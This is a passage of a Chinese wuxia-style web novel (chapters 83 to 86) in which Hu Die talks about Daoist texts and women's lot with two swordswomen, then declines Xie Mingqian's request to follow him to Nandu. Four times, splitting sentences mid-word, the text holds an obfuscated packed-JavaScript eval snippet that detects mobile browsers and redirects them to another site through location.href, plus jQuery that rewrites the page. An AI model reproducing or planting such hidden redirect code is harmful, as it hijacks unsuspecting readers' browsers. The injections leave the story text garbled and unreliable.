守一挑了下眉,缓缓开口:“你这当老师的,《庄子》还没讲完,就想溜之大吉?” “就是,我的《道德经》也还没看明白呢,跟你分开了,我问谁去啊?” 胡碟看着如此认真的两个人,惋惜道:“你们说的我都明白,我也不是故意想让你们离开。可是陈祥必须要有人护送,且必须要秘密进南都,我说的这点没错吧。” “……是没错。” “那你们说,还有没有什么别的办法能解决这个问题?”胡碟语重心长道,“留下来的要么是你们俩,要么是春雨和破山,剩下的人也必须跟着谢明乾去南都,只有这么多人,这是最好的安排。” 春心一歪脑袋:“为什么不能大师兄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063706|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人回去,我哥和破山留下来呢?” “你还真是不在意你大师兄的死活啊。”胡碟道。 “大师兄是净巍剑法的传人,他的剑法是我们之中最厉害的,他哪儿需要人护送,只有陈祥才需要护送罢了。”春信发现自己找到了这个计划的漏洞,眼睛亮了起来。 “有道理。”守一附和道。 胡碟目瞪口呆:“你们真这么想?既然他的剑法最厉害,那为何他当年没有从破山手上赢下破山剑呢?” “以前是以前,后来大师兄得了当关剑,勤加练习,现在我们之中最厉害的变成他了。” “那你们比他如何呢?”胡碟有些好奇。 云江最喜与天下豪杰比武,若当真这么厉害,胡碟都有些迫不及待地想替云江给他下战帖。 “不许转移话题!”春信恶狠狠道。 “行,不问了。”胡碟道,“说回谢明乾的事。我始终觉得这件事有古怪,南都,恐怕有许多豺狼虎豹在等着他。当年净巍宗被冤枉,一定有很多人在背后暗中操作,如今他查案的事估计朝野都知道了,当年那些人,还会不会跳出来阻拦?” 春信和守一相视一眼,神色严肃起来。 “谢明乾不能出事,否则净巍宗就永远不能洗刷冤屈,真相也永远不会大白于天下。当年的案子,严格来讲并未让我们窥见全貌,翻案并没有十成十的把握。找到这个证人,只是兵行险招,所以过程中一定要保证万无一失。” 胡碟抬起幽深的眼眸看着二人:“翻案没有你们想的那么简单,眼下的形式并没有看起来那么明朗。朝堂之上的事,水深得很。” 春信叹了口气:“我明白了。可是……” “我知道你要说什么。”胡碟道,“去南都的事我会考虑,但现在你们要明白,谢明乾和陈祥一样重要,一样需要不出差错。” “现在来说说吧。”胡碟笑道,“别那么紧张。既然你们也提起来了,那就说说最近看书看得怎么样了吧。” “我记得给你们书的时候是上巳节,如今小半个月过去,已经快到小满了,可有收获?” 春信有些心虚:“这个么……有好些看不懂。”她手肘拐了拐守一,“你先说。” 守一毫不拖泥带水地开口:“之前说,圣人守一,乃知万事,故能为天下法式也。圣人不以其目视千里之外,乃因天下之目以视,故能明达也。圣人不自以为是而非人,故能彰显于世。” “初时并不明白,你解释之后明白了一半,现如今明白了七分。” “哦?”胡碟道,“为何不是十分。” 守一仔细想了想:“从一半到七分,用了一瞬,剩下的三分,还得继续体会。” 胡碟笑着颔首:“慢慢体会,才能化为己用。那你能否与我分享一下,这七分的一瞬,是在何时?” “就是方才。” “方才?” “我们弄清楚许姐姐为何而死,才叫天下女子都能不死,这便是不用观天下物,只要明白万事万物的道理,便可解天下难题。再想想你那日说的话,是叫我忘却幼时的苦难,守着本心,从此以后都不见苦难。” 83. 第八十三章 “对,没错,正如你所说。”胡碟欣慰地笑,“看来你是真的理解了,也学会了如何去理解一句话。” 守一有一张狭窄细长的小脸,上面画着小巧单薄的鼻子和小巧单薄的嘴和细长上翘的眼,冷酷的脸上浮现出了一丝羞涩的笑意,稍纵即逝。 “对了,我还有一句不明白的。”守一道。 “你说说看,看我能否帮到你。” “是庄子《逍遥游》里的。‘天之苍苍其正色邪?其远而无所至极邪?’这句话的意思我能看明白,却是不太懂。” 胡碟停下脚步,抬头望着皓月当空,神色平静:“我也不知。” 春信趁机揶揄道:“世上竟还有你不知的?” 胡碟轻笑出声:“那是自然,我又非全知全能,怎么会什么都知道呢。这句话的意思是,天也许不是青苍的颜色,只是因为天太高太高,离我们太远,让我们无法看清它的颜色吧。可是我无法理解,因为我不知道天是否真如庄子所说的高得没有边界。” 胡碟抬起修长的食指,像在承接一只不存在的蝴蝶翩跹而至,手停在虚空中,像金菊绽开的花瓣,喃喃道:“我不知道,也就不能理解这句话能带给我们什么。也许有一天,我们能挟飞仙以遨游,登上云端,看看天有多高有多远,看看天到底是什么颜色,那时就能知道答案了。” “飞上天?怎么飞啊?”春信歪着脑袋疑惑不解。 “简单。”胡碟笑得颇有深意,“要么我们修炼成仙,要么等上个几百几千年,也许我们就能飞了,也许也就知道了。” “……” 胡碟看着春信无言的表情,笑容更甚:“说个玩笑话罢了。不过我在想,如果天真的高不可测,是否就说明天与地是不一样的?既然不一样,我们看待天与地的方式或许也该不一样。” “怎么个不一样?”春信问,“天为乾地为坤,男为乾女为坤。难道像男人和女人一般的不一样么?” 胡碟摸了摸春信的肩:“有道理。” 春信心中窃喜:“不一样的话,是不是说男人比女人强,所以女人才受欺负,像许姐姐一样被人砍,像高贵妃一样被人嫌弃。还有我一直很好奇,这《庄子》和《老子》,都是男人写的吧,男人的知识,我们学了有用么?” 胡碟笑得柔和,摇了摇头:“这些不是男人写的东西,而是人们的智慧,女人也是人。‘天地不仁以万物为刍狗’这句话你知道么?” 春信道:“这、这是说,天地是没有感情的,只把万事万物当做没用的刍狗么?” “不,并非如此。仁,是关爱、偏私的意思,不仁,是指不偏爱任何人,使万物自然地生长。这万物,包括男人,也包括女人。可是你也说了,女人过的不是人过的日子,这便是与自然背道而驰。我们所做的努力,便是将女人受到的不公纠正,不求做人上人,只求做天地间活得自在有尊严的一只刍狗罢了。” 春信听得似懂非懂,不明白这和她的问题有何关系,却还是懵懂地点了点头。 胡碟又道:“不读书,便无法拥有智慧,也就无法拥有成为一只刍狗的权利。” 她摸着春信地辫子,言语之间有些沉重:“人之所以不是牲口,能逃脱由生向死的命运,便是因为人有智慧。那些智慧女人也写了,黄庭经就是女道士魏华存留下的。你学了智慧,才能知道如何将命运牢牢抓在在自己手里。那时你便知道哪些话听得听不得,那时你才终于有了自己的眼睛。” “到那时,像许姐姐一样的人便可以逃离,逃离那样命苦的命运么。”春信抬起亮晶晶的眼睛,“所以你才说不是命,不是生来就卑贱,不是生来就命苦么。” “对。”胡碟道,“我们要把命运掌握在自己手里,不被别人伤害。” “明白了。”春信点头道。 “天和地,没有谁比谁重要,缺了谁,我们都无法活下去。不是天比地厉害,不是男人比女人厉害,而是我们各有本事。就像天之高远,地之厚重一般,我们不要看不起自己,也不要对男人崇拜。只要我们用好了自己的特质,我们一样可以做到他们所做到的。” 月华照耀之下,胡碟黝黑的眸子熠熠生辉。 春信和守一都重重点了点头,以悠长沉默回应磅礴的勇气。 - 谢明乾一早就来了,背着他的当关剑。 他穿过人声鼎沸的东街,穿过夏日蝉鸣鸟语的院子,栖身到胡碟窗后的梨树上。 同样的是他有事相求的殷切心情,不同的是这次心上的担子放下些许,步伐轻盈许多。 “叩叩” 窗外响起叩门声时,胡碟并不觉得意外。不知是她识人的功夫有长进,还是对谢明乾已经太过了解,她知道他在离开之前一定会再来游说她一趟。 “进来吧。” 胡碟径自将手中袅袅飘着烟雾的香插在魏华存画像前的香炉里,听见身后的人推开窗利落地踩在地上,窗棂上的青竹风铃被他身旁带起的风摇起,破碎的清脆声叮咚叮咚飘远。 “敏理,你烧香呢?”谢明乾嗅了嗅空气中的味道,干冽中带着清甜,十分熟悉的味道,“总是闻见你身上有些特别的香味,原来是晨起烧香的味道。” 胡碟眼光在画像上的笑容上流连,一边随口道:“这是降真香,道观里常用的,我给祖师请安上香,自然也就沾染了些味道。” 谢明乾仔细分辨了下这味道:“我总觉得熟悉,有时觉得像檀香,有时觉得像麝香,但总归有些独特,既熟悉又陌生,却不知原来这是降真香。” “这是情理之中的事。降真香平日里总是和其它香料混在一起,不易察觉,我单独拿出来烧,你们自然觉得陌生,分辨不出来。实则降真香功用不小,可做止血药,也是诸香之首,燃之初不甚香,可是烧得越旺、越久,味道也就越浓烈,香甜清冽,也不失烟熏火燎的狠辣。” 谢明乾饶有兴致地点头:“就像你一样。” 胡碟抬眼与他对视,总觉得他话里有话。 “像你一样,”谢明乾停顿了片刻,“总是特别的,连你的风铃,也是青竹所做,响声不是叮铃铃地而是似木鱼那般清脆,使人警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079610|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒。” 胡碟没想到他观察如此细致,顺着他的目光望向那盏风铃,有些出神。 “竹子坚韧,品行高洁,敏理隐士高人,自是爱竹,对么?” 胡碟回过神来,愣愣道:“是也不是。” “是也不是?” “确实有些自勉之意,不过更多的,是对养育我长大的那片隐世山水抱有牵挂,总有一日要回去归隐田园,仙山之上,浮生飘作云。” 这青竹风铃是离家时,云江砍了母师院子后边的翠竹,和她一起做的。 她幼时便和母师在二仙庙里长大,母师喜种兰花和翠竹,她自然也喜欢。那时母师看她俩吭哧吭哧地锯竹子,打趣地说,待到在南都安定下来了,她遣人送几棵过来在院子里种着也不麻烦,何必刻意带个小小的风铃过去。 彼时的云逸杰却不以为然。她想,老君说“功成、名遂、身退,天之道也。”她到了南都,将胸中抱负付诸实干,成就一番事业,事了拂身去,她定还要回母师的二仙庙里做个无事小神仙的。 只是如今事与愿违,母师那时送信劝她归去,她却不肯,如今更是不知何时才能回去了。 谢明乾道:“敏理,我们是一样的,我们所追求的,不过是尘埃落定,享一份平静祥和。” 胡碟别开脸不去看那双闪着柔光的琥珀色眼睛,仿佛一阵清风和一盏轻柔的琉璃盏,平添几分忧愁。 “陈祥已经答应了,我觉得你说得对,如今不宜打草惊蛇,所以我决定带着春雨和破山先回南都,午时左右便启程。守一和春信在后头带着陈祥跟来。” 他其实想将春雨和破山也留下来,可就是怕胡碟到时顺理成章地让他俩护送陈祥,守一和春信便可留下。他无意再去左右守一和春信的行踪,只是若是她们二人必须去南都,胡碟也许能够多考虑考虑。 “如此甚好。”胡碟泰然自若道。 “你可愿意将守一和春信借给我?” 胡碟皱起眉头:“她们是自由的,之前跟着我保护我,我心中只有感激,并未将她们当做谁的人。只要她们愿意,去留随心。” 谢明乾感受到胡碟语言中的疏离,觉得她是铁了心撇清关系,心里有些酸酸地疼。 “敏理,你当真不考虑与我同去?” “我说过了,约定好了的已然完成……” 谢明乾不想再听胡碟用此事作掩护,急急道:“既然你如此信守承诺,那么我后悔了,我不止想要你帮我查这个案子,我还想请你做我的军师,随我直至翻案成功,你可愿意?” 胡碟不解地望着他,眼中显出纠结,狠狠道:“请我做你的军师?你知道我是谁么?你知道我从何处来,到何处去,知道我要什么吗?” 她是一个不能回头的人,她是一个揣着秘密随时可能被杀头的人。更何况皇帝并不喜欢他这个大儿子,她心里是清楚的。 她没得选,她必须找出禹城的秘密,否则,她没办法活着走出去。 “我知道你是谁。我知道。”谢明乾握住她的肩膀,俊俏清朗的眉宇带着倔强。 84. 第八十四章 谢明乾仔细分辨着胡碟的声音,如同分辨屋子里氤氲的降真香一般。她的声音像河底圆润的玉石一般低沉温润,似清凉的溪水潺潺地流淌,又有点冰有点扎手,既清脆,又粗粝,很矛盾,所以很奇妙地迷人。 这样的声音既不像男人也不像女人,就如同她只是她。他一直都知道她是什么人,可是这远不及她是她那么重要。 “你知道还找我?”胡碟冷冷地瞪着谢明乾,“一个女人要在男人的地盘上做出点什么,有多大的危险,你不知道么?春信说从前你们在山里,没见过这世上人对女人的冷眼,可是这段日子以来,你还没看清楚么?” 谢明乾苦笑道:“你我也算同是天涯沦落人,谁又比谁过得容易呢?净巍宗一案后,我不得不出山,夹着尾巴做人,还要背负着冤屈暗中查案,我的处境,算起来与你也差不了多少,这又算得了什么呢?” 胡碟冷哼一声:“蠢货,净巍宗的案子既然就快了结了,你马上就能恢复你从前的生活,不用再为了翻案忍辱负重,我若与你在一处,随时有暴露的风险,你又何必从一个火坑跳入另一个火坑。” 她并不是危言耸听,更不是忧虑过重,赵家很想从她家乡着手找出她的秘密,是早就有了的行动。赵家查到母云山时被母师拦了下来,可是若查到她上母云山之前的家去,便是纸包不住火。 谢明乾一愣,眼中的光有些闪烁:“说到底,你是关心我。” 胡碟少见的没有反驳他,只是冷脸偏过头去。 谢明乾扯出个浅浅的微笑:“我知道你是为我好,便不与你争吵,咱们好好说。” 胡碟白他一眼:“该说的我都说了,言尽于此,此事不用再议。” 在她没注意的地方,谢明乾眼中闪过一丝异样的光。 “上次这般特意来找你的时候,一是为了求你,而是为了感谢,如今也是一样。”谢明乾柔声开口,将手背到身后,轻轻抚摸着左手手腕上细腻柔软的发带,就像无数次穷途末路之中胡碟清泉般的声音一样使人清醒,像无数个冰凉失望的瞬间胡碟给他的安慰一般柔软。这发带的主人,算起来已陪他走过许多路。 “我们孤立无援太久了,很感谢你的出现,很感谢你帮我。”谢明乾总想像开始一样没心没肺地抱住她,只可惜他生得一颗玲珑心,将一切隐藏的的东西看的太明白,反而无从去遮掩了。 “我知道你深不可测,除了你的女子身份,也许你还有别的秘密。但我觉得不重要,一个人若是独自一人在冰天雪地里走了好几年,瞧见个活人,不管对方是坏蛋还是侠客,恐怕都会义无反顾地扑上去。”谢明乾笑道,“既然你真不可测,那就不测了。我少知道些,活得轻松些,毕竟背负着秘密的这些年,我已经很累了。” 胡碟有些惊讶地抬头,她素来知晓谢明乾的玲珑心,却不知他如此大智若愚。 “相遇便是缘分,净巍宗的案子惨烈,就像你们遇见许梅香的案子一样,谁都不忍心不管。”更何况一开始,胡碟便是想借着查这案子的由头做自己不方便的事。也算是有所收获。 “我自知敏理有一颗慈悲之心,但这谢还是要说的。”谢明乾盯着胡碟的眼睛,用尽十二分的真诚,“除了我师父,再也没有人给我依靠,再没有人让我如此安心了。” 谢明乾见胡碟眼中腾起的疑问,心跳得有些快。他说的倒全是真话,只是如此卖惨,于他而言确是第一次,这事儿他做得极不熟悉,总有些惭愧,总有些心虚。 “我是大皇子,按理说天潢贵胄,应该是养尊处优地长大,实则却不然。我母亲是个宫女,生下我后便去世了,所以我没有母亲,也没有母族。父皇认为他被我母亲诱惑,是男人的耻辱,所以并不喜欢我,三岁之前从未正眼看过我,三岁之后他更是将我送到净巍宗去习武,美名其曰锻炼我,实则人人都知大昭轻视武将,将我送去习武,便是叫我不要肖想皇位。”谢明乾神色很平常,一丝伤感也无,不似回忆净巍宗惨案时那般悲痛。“这些其实我也记不大清了,都是后来听我们宗门扫山门的大爷们多嘴说的,说我是个弃子,说我没用。” 胡碟轻轻开口道:“你师父应该是很爱你的,他给你起名平初,你说平是字辈,那么初便是他对你的期望。历尽千难万险却始终如初,这是对你的祝愿。一颗初心,亘久未变,这是对你身上最美好品质的总结。” 谢明乾呆呆地望着胡碟出神,良久才道:“原来是这样。我还以为师父是嫌我平庸,不堪大用,才叫我不要想着有所进展,一切只如初呢。” “怎么会呢,虽然没见过你师父,可是听闻旁人口中的他,也知道他是个良善之人。他对你,必定是温柔的。” “这倒也是。”谢明乾若有所思地点点头,有些苦涩道,“是我听多了别人的话,总觉得父皇不爱我,师父也不会爱这样的我,却原来我一直在爱中,只是被耳边风声惊扰了。人们都说我这样的皇子,恐怕是没有什么活路了,可师父却说那些东西不稀罕,不要也罢。你说得对,师父对我爱护有加,是我辜负了。” “你作为大师兄,扛下了净巍宗的冤屈,你没有辜负任何人。” 谢明乾道:“谢谢你,敏理。谢谢你总是安慰我。” 胡碟却笑道:“这不是安慰,我只是一双慧眼看得清,从来只说实话而已。” “敏理,也只有你,连名字也能读出这么些深意。” “我可不是刻意为之,为你取名之人,一定是带着些期许的,就连民间爱起的那些狗蛋狗剩之类的名字,那也是希望孩子好养活,能平平安安。一个人的名字,学问大着呢。”胡碟扬扬脸,“你的名,明乾,明字光明、坦荡,霞光万丈。乾字为天,天行健,君子以自强不息。这么说来,其实你的名也是很好的。” 谢明乾眸光一瞬间失了神采,后又恢复如常:“听说是礼部起的好些个字,父皇在其中挑的,我倒不觉得其中真的有多少盼望。” 胡碟道:“那你的字呢?竟然还不知你的字。” “我的字是甫泽,平日里只有破山和春雨会这么叫。” “谢甫泽……”胡碟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100280|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着手走了几圈,思量着什么。 “那云逸杰呢?这个名字会是什么意思?”谢明乾迫不及待道。 “……” 胡碟心想谢明乾还真是个实诚孩子,干什么都不忘记他大哥云逸杰。 “这个么……”胡碟望着窗外漂浮的朵朵白云,随口道,“逸嘛,是超脱和自由,杰嘛是人中豪杰,总之就是个中规中矩的名字,洒脱又明亮。” 谢明乾睁着大眼睛好奇道:“解名字是你们道观里的手艺么?你是不是也能去摆摊算卦?” “……” 胡碟冷漠地推开他:“走开。” “……说个玩笑话而已,我错了。” “说起来,”胡碟饶有兴致地看着谢明乾,“我倒是真的很好奇,你是怎么认出我是个女子的?” 她张开双臂,眼光朝下将自己打量一番:“我自认为没有任何露出破绽的地方。你说说你是如何看出来的,我好改正。” 谢明乾的目光在胡碟的衣角处徘徊,又在她脸上停留了许久。 胡碟修长的指摸上脸颊,迎上他的目光:“我长得平平无奇,总不至于是看脸看出来的吧?” 谢明乾摇头:“你可不平平无奇,你的眼睿智有神,清冷中带着柔和。你的眉淡如薄雾,却清晰有型。你长得像学富五车的模样,哪里普通了?” “……说正经的。” “好吧。”谢明乾把依靠在桌角的身子移开,站直了:“其实与外貌无关,也与打扮无关。” “都无关?”胡碟更疑惑了,将谢明乾翻来覆去地审视一番,“你小子,很了解女人么?” “非也非也。”谢明乾笑得肆意,“若是论了解女人,我怎么比得过春信和守一呢,可是她们也没看出来,偏偏我看出来了,我是有些独家秘诀的。” “愿闻其详。” “是这样的,我很擅长观察别人,也很擅长分析别人,这个你知道吧?” 胡碟点头。 “你的气质特别极了,所以一开始我就关注着你。你好像冷漠淡然,有利于世人之外,超脱凡尘。可是又有一些悲悯,有一些密切关注着人们的情感,而这一面,只在某些时候展露出来。我发现你素日里都很冷静,可是看向受伤的女子时,眼中却常常波动。” “看见许梅香身上的伤痕,你不忍,甚至三番五次回头去关心她。后来在莲县,你为她念了一夜的经,那般地虔诚。你对春信和守一说话时,也是格外温柔耐心。” “其实我并不了解女人,我只知道我见过的,只有一匹孤狼会为另一匹孤狼舔舐伤口。你是一只狼,而她们是你的同类。” “当然,你可以因为许多原因而怜悯她们,就算是同类,也可能说同病相怜。但就是你在莲县为许梅香诵经那夜,我忽然想起《道德经》当中有一句话,‘以天下之至柔驰骋天下之至坚’你之至柔,或许就是同为女人吧。” “只有一匹孤狼会为另一匹孤狼舔舐伤口……”胡碟眼中幽暗,晦暗不明,“只有女人,会怜悯女人。” 85. 第八十五章 胡碟脑中宛若一道剑光劈砍山石,凿出裂痕,这裂痕在她心上,让她急切地想冲上去看看,想抚平那裂痕。可是她做不到。 有什么被她忘却了、忽略了,这忘却需要她去追寻。可是一时之间,她也并没有答案,不知该向着何处去,不知道自己到底要抓住什么。 “可是……”胡碟蹙眉欲言又止,而后摇摇头,“这……竟是如此简单的原因。” “就是这么简单,其实并不复杂。”谢明乾道,“你的伪装其实并无什么问题,但是看你的外表还有你的行事作风,根本难辨雌雄,这点你大可放心,除了我,没有哪个人再能认出你来。” 胡碟重重吸了口气,遥望着窗外云卷云舒:“可是守一和春信也没认出我来。为什么偏偏是你……” 谢明乾摸着下巴沉吟片刻:“其实我觉得她们认出了你,只是不知为何,她们没能判断出你是个女子。” 胡碟鲜少露出那种迷茫困惑的神情,谢明乾看得出神,听她说:“此话怎讲?” “你看啊,春信呢是个活泼的,见到谁都能叫声姐姐,你看她跟许梅香,见过一次也就熟络了。可是她跟男人可没有那么多话,她自记事起便长在山里,没见过外头那些男子,初下山时便害怕那些男人,所以平日里总是躲起来的。可是我们第一次见面……”谢明乾神色有些微妙,顿了一下,“那时抓你到玄鉴堂,你离开之后,我要派人跟着你,是她说要看看你到底有多厉害,主动要求去的。” “守一就更不必说了,她的冷漠你是知道的,平日里和我们都很少说话,只与春信话多一些。但是她对你也是信任与崇敬皆有,这也是非常难得的。” 听谢明乾这么一说,胡碟心中也豁然开朗了。 “我明白了。平初,我问你,世人相见,是通过心,还是通过眼睛呢?” “这又是何意?心与眼,有何区别?” 胡碟暂且没去回答,只是道:“你觉得,是你身上的什么特点,让你认出我?” “当然是我慧眼如炬,观察细致入微了。”谢明乾扬眉。 “只是这样?” 谢明乾摇头,再想不出什么原因。 胡碟低头浅笑:“还有,因为你不了解女子。你知道女子几岁不嫁人就算老姑娘了么?你知道女子都应该会些什么么?你知道女子该如何与丈夫相处么?” 谢明乾搜索了脑海中寥寥无几的记忆,犯难起来:“好像并不知。” 胡碟了然勾起嘴角:“果然不出我所料。你自幼长在山里,没见过几个女子,也没怎么见过家宅内院的妇人。看春信和守一的样子,恐怕你师父也并未拿寻常人家里教养女子的那套来管束她们。所以你看了我的样子,看了我为人处世的行为,并没有觉得我不可能是个女子。” “而春信和守一,虽然自己并不受约束,可是下山的这几年里,她们所见到的女子,都有固定的样子,所以她们用女人的那套来看我便不会觉得我是女人。但我从前在道观里也是这般打扮,不分男女,我并不觉得女人就要打扮成什么样子。” “所以,人与人相见,应该是心与心相见才对。”胡碟道,“她们的心先你一步认出我,可是她们用眼睛看我时,我长得既不水灵也不温婉,我身长七尺,我的身材嘛,被人搜身也认不出个所以然来。可是男人和女人,穿起一样的衣服,本就难以分辨的。也许我们本就不该以外表作区分,心才是我们最大的同与不同。” “我明白了。”谢明乾道,“其实她们早就认出了你,却用寻常的眼光来看你,被这样的眼光遮掩,才根本不会觉得你是个女子。” “是啊。所以你说得对,不要去问我姓甚名谁,不要管我身长几许,不要看我粉面杏腮。要看看我的心,我忧心女子,我将她们视做亲人姐妹,这便是肉眼所看不出来的,最大的女子特征。女子的外貌千变万化,可以是任何样子,唯独一颗心不变。” 谢明乾望着胡碟:“所以有时,所有人都在说女子是何模样,我们反而忘记用自己的心去看看女子到底是怎样了。” 胡碟得逞地勾起唇角:“看来你也并不是唯一一个认出我的。” 谢明乾哑然失笑,无奈地点头。 “敏理,”谢明乾适时又提起那个话题,“虽然我并不是一个有前途和雄心壮志的皇子,可是你我追求的不都是宁静么?做我的军师,不亏的吧。” 胡碟道:“你已然用不到我了呀,这又是何必呢。” “敏理,这些年,我夜里总是辗转反侧,夜不能寐,如今事情还未最后尘埃落定,我心里总是不踏实,若没有你,我不能安心的。” 谢明乾眼神中带着的一丝祈求,让胡碟有些动摇,可她知道,她不是不愿意,而是如今实在不能回去。 “怎么会呢,”胡碟转过身不去看他,垂下眼眸说着瞎话,“昨日我为你起卦,得履卦,天泽履。是说以柔顺对付阳刚,以适应天下万变。象征万事初起处位得当,中正不偏,因心怀坦荡言行恰当,故前途光明远大。只要能做到刚健守中,就可以将坏事变为好事,让恶的事物也呈现出好的一面,那么再大的艰难也能平安度过,化险为夷。” “你看,这是多好的预兆,你大可放心,纵马入南都才是。”这其实不是什么起卦的结果,而是方才胡碟听见谢明乾的字时才发现,他名明乾,乾为天,字甫泽,名与字合起来,便可得天泽履卦和泽天夬卦,便选了履卦说与他听。 皇帝随意选的名字,寓意却深刻。 谢明乾有些受伤地叹了口气,垂首丧气道无言看了她良久。 “你都说到这个份上了,我又怎么好再说些什么呢。就依你,咱们就此别过吧。” 谢明乾梗着脖子,施礼向胡碟拜别,看也不看她一眼,转身掀窗离去。 “诶。”胡碟抬手想叫住他,转念一想,自己给不了他想要的答案,叫他回头也没什么好说的,不如就这样。 只是……谢明乾走得未免太干脆,她没来得及好好地道声别。 胡碟望着他离去的方向叹了口气,合上窗户。 罢了,不再见便不再见吧,遗憾之事常有。 - “我们走了,你们带着陈祥回南都时记得多加小心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116536|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 东门外日头正盛,天苍云白,谢明乾骑在高头大马之上,语气沉着,回首时满脸愤愤。 他弯下腰压低声音恶狠狠道:“绑也得把敏理绑来!” 守一和春信相视一眼,非常敷衍地点了点头。 胡碟此人,要劝走几乎不可能,要绑走也几乎不可能,大师兄恐怕也心知肚明,只是有些逃避似的将问题丢给她俩罢了,毕竟她俩是胡碟的人。 其实她俩已经做好了一些冒险的打算,譬如说连夜送陈祥去南都,再悄无声息地连夜赶回胡碟身边,让她无法拒绝,只不过这样做总有些风险,生怕她们在半路上时胡碟就跑了。 所以为了万全,她俩也仍在谋划。 谢明乾阴沉着脸看向马前,扯了把缰绳,将从手腕上取下的发带紧紧攥住。“敏理,我们总会再见的!驾——” 马蹄声声踏碎,尘埃摇摇腾去。 守一有些无措地挠了挠头,对春信道:“我去守着陈祥,看看等会儿能不能直接带他到县衙,这样安全些。你去接胡碟过来吧,她不是说许姐姐的事不宜再拖,今日便要做些部署么。” 她想不出什么法子留在胡碟身边,也说服不了她一起走,心里有些烦闷,暂时不想对上她。 “啊?我哥没把陈祥带过来?他们三就这么安心地走了?”春信难以置信道。 “说是吉祥公公催得急,他没来得及。” “什么呀,我看八成是他玩忽职守睡着了才来不及的吧。” “你说得对,快去吧。” 两人分头朝不同的地方走去,守一行进了几步,总觉得有什么人在看着她,回头一看,北街人来人往,却没人可疑。她看着春信的背影本想叫她回头,问问她是否也有同感,但见她自顾自往前走,随后跳上了屋檐,也就作罢了。 守一看了看手中的刀,目光警惕起来。 但愿是她想多了。 春信接上胡碟,便马不停蹄往县衙走去。 “我说你要不也住在县衙算了,咱们在一处,安全些。” 北街上,春信脸庞映着耀眼灿烂的阳光,随口说着。 “算了吧,我住到县衙去,这被人知道了,不知道要怀疑我是什么达官贵人呢。”那样胡碟就离身份暴露不远了,还是小心为妙。 “说起来,之前刘庆说的那个梅花纹样的黑衣人,你还记不记得?” 胡碟看春信一眼:“自然记得的。有消息了?” “是。”春信靠近些压低了声音,“我们的人查到,南都里的晋王,曾有一支金梅小队,就是专门杀人灭口的,只是不十分清楚这两者到底是不是一个东西……” “你说什么?”胡碟面色凝重起来,晋王,那不就是赵家么?难道净巍宗的案子真的有赵家的手笔么? 春信见胡碟反应这么大,有些拿不准该不该说这件事。按说若扯上赵家,此事便危险非常了。可她见胡碟担心大师兄,又想说出来卖些惨,万一胡碟因此愿意同去南都也说不定呢。 胡碟面色愈发冷峻起来,并未将思量写在脸上,只是袖子里的手握紧成拳。 86. 第八十六章 正午过后的北街,阳光有些毒辣,透过银杏树晶莹翠绿的树梢,丝毫不减半分炽热。滚滚的热气与不断的蝉鸣焦灼在一起,一股燥意从骨头缝里逼出来,扰得人好不快活。 春信抬手擦了擦额头,倒是没有一滴汗,燥热闷在心里露不出来,只能催着人不住地加快脚步。 “我怎么觉得今天这么热,热得人心烦。” 胡碟被刺眼的暖金色眼光射得双眼微眯:“心静自然凉。” 春信烦躁得紧,两手胡乱地在额头上抓着,想将所有不该在那儿的碎发通通赶走,好清爽自在些,可惜没有一缕发丝是乖乖听话的。 “那你心很静咯?” 胡碟顿了顿:“……我心不静,也不凉。” 赵家、刘庆、净巍宗,一时之间她明白了这些事物之间必定有牵扯。这样的发现来得太突然,或许直接关系到她已然计划好的一切,是以方才春信再次劝她一起前往南都时,她第一次有了犹豫。 可现下心烦意乱,实在不是能好好考虑这些事的时候。 “那没办法了,”春信两手一摊,“只有快些进屋子里避暑,是不是今日日头太盛,走得心烦意乱,才觉得这北街如此地长。” 胡碟抬头,眼睛眯得更紧了些,睫毛在眼前投下些珠帘般的黑线,虚虚闪闪的光影摇晃在前头,她望着近在咫尺的县衙,却觉得那青砖灰瓦不知飘摇在何处,心中的火气催着她往前走,却连那处还有多远也不知道。 